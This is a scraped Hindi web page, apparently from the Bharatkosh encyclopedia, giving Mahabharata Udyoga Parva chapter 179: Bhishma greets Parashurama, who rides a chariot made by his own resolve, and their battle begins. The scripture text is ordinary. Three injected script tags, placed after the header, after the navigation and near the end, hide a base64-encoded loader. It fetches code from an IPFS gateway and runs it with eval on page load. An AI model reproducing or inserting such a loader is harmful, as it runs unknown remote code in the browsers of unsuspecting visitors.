महाभारत उद्योग पर्व अध्याय 179 श्लोक 1-20
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एकोनाशीत्यधिकशततम (179) अध्याय: उद्योग पर्व (अम्बोपाख्यान पर्व)
संकल्पनिर्मित रथ पर आरूढ़ परशुरामजी के साथ भीष्म का युद्ध प्रारम्भ करना
भीष्मजी कहते हैं- राजन्! तब मैं युद्ध के लिये खडे़ हुए परशुरामजी से मुसकराता हुआ-सा बोला- ‘ब्रह्मन्! मैं रथ पर बैठा हूं और आप भूमि पर खडे़ हैं। ऐसी दशा में मैं आपके साथ युद्ध नहीं कर सकता । ‘महाबाहो! वीरवर राम! यदि आप समरभूमि में मेरे साथ युद्ध करना चाहते हैं तो रथपर आरूढ़ होइये और कवच भी बांध लीजिये’ । तब परशुरामजी समराङ्गण में किंचित् मूसकराते हुए मुझसे बोले- ‘कुरूनन्दन भीष्म! मेरे लिये तो पृथ्वी ही रथ है, चारों वेद ही उत्तम अश्वों के समान मेरे वाहन हैं, वायुदेव ही सारथि हैं और वेदमाताएं (गायत्री, सावित्रि और सरस्वती) ही कवच हैं। इन सबसे आवृत एवं सुरक्षित होकर मैं रणक्षेत्र में युद्ध करूंगा’। गान्धारीनन्दन! ऐसा कहते हुए सत्यपराक्रमी परशुरामजी ने मुझे सब ओर से अपने बाणों के महान् समुदाय द्वारा आवृत कर लिया ।उस समय मैंने देखा, जमदग्निनन्दन परशुराम सम्पूर्ण श्रेष्ठ आयुघों से सुशोभित, तेजस्वी एवं अद्भूत दिखायी देने वाले रथ में बैठे हैं । उसका विस्तार एक नगर के समान था। उस पुण्यरथ का निर्माण उन्होंनेअपने मानसिक संकल्प से किया था। उसमें दिव्य अश्र्व जुते हुए थे। वह स्वर्णभूषित रथ सब प्रकार से सुसज्जित था । महाबाहो! परशुरामजी ने एक सुन्दर कवच धारण कर रक्खा था, जिसमें चन्द्रमा और सूर्य के चिह्न बने हुए थे। उन्होंने हाथ में धनुष लेकर पीठ पर तरकस बांध रक्खा था और अंगुलियों की रक्षा के लिये गोह के चर्म के बने हुए दस्ताने पहन रक्खें थे ।उस समय युद्ध के इच्छुक परशुरामजी के प्रिय सखा वेदवेत्ता अकृतव्रण ने उनके सारथि का कार्य सम्पन्न किया ।भृगुनन्दन राम ‘आओ’ कहकर बार-बार मुझे पुकारते और युद्ध के लिये मेरा आह्वान करते हुए मेरे मन को हर्ष और उत्साह-सा प्रदान कर रहे थे । उदयकालीन सूर्य के समान तेजस्वी, अजेय, महाबली और क्षत्रियविनाशक परशुराम अकेले ही युद्ध के लिये खडे़ थे। अत: मैं भी अकेला ही उनका सामना करने के लिये गया । जब वे तीन बार मेरे ऊपर बाणों का प्रहार कर चुके, तब मैं घोड़ों को रोककर और धनुष रखकर रथ से उतर गया और उन ब्राह्मणशिरोमणि मुनिप्रवर परशुरामजी का समादर करने के लिये पैदल ही उनके पास गया। जाकर विधिपूर्वक उन्हें प्रणाम करने के पश्चात् यह उत्तम वचन बोला- । ‘भगवन् परशुराम! आप मेरे समान अथवा मुझसे भी अधिक शक्तिशाली हैं। मेरे धर्मात्मा गुरू हैं। मैं इस रणक्षेत्र में आपके साथ युद्ध करूंगा; अत: आप मुझे विजय के लिये आशीर्वाद दें’ ।परशुरामजजी ने कहा- कुरूश्रेष्ठ! अपनी उन्नति के चाहने वाले प्रत्येक योद्धा को ऐसा ही करना चाहिये। महाबाहो! अपने से विशिष्ट गुरूजनों के साथ युद्ध करने वाले राजाओं का यही धर्म हैं । प्रजानाथ! यदि तुम इस प्रकार मेरे समीप नहीं आते तो मैं तुम्हें शाप दे देता। कुरूनन्दन! तुम धैर्य धारण करके इस रणक्षेत्र में प्रयत्नपूर्वक युद्ध करो । मैं तो तुम्हें विजयसूचक आशीर्वाद नहीं दे सकता; क्योंकि इस समय मैं तुम्हेंपराजित करने के लिये खड़ा हूं। जाओ, धर्मपूर्वक युद्ध करो। तुम्हारे इस शिष्टाचार से मैं बहुत प्रसन्न हुं । तब मैं उन्हें नमस्कार करके शीघ्र ही रथ पर जा बैठा और उस यूद्ध भूमि में मैंने पुन: अपने सुवर्णजटित शङ्ख को बजाया । राजन्! भरतनन्दन! तदनन्तर एक-दूसरे को जीतने की इच्छा से मेरा तथा परशुरामजी का युद्ध बहुत दिनों तक चलता रहा । उस रणभूमि में उन्होंने ही पहले मेरे ऊपर गीध की पांखों से सुशोभित तथा मुडे़ हुए पर्ववाले नौ सौ साठ बाणों द्वारा प्रहार किया ।
« पीछे | आगे » |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>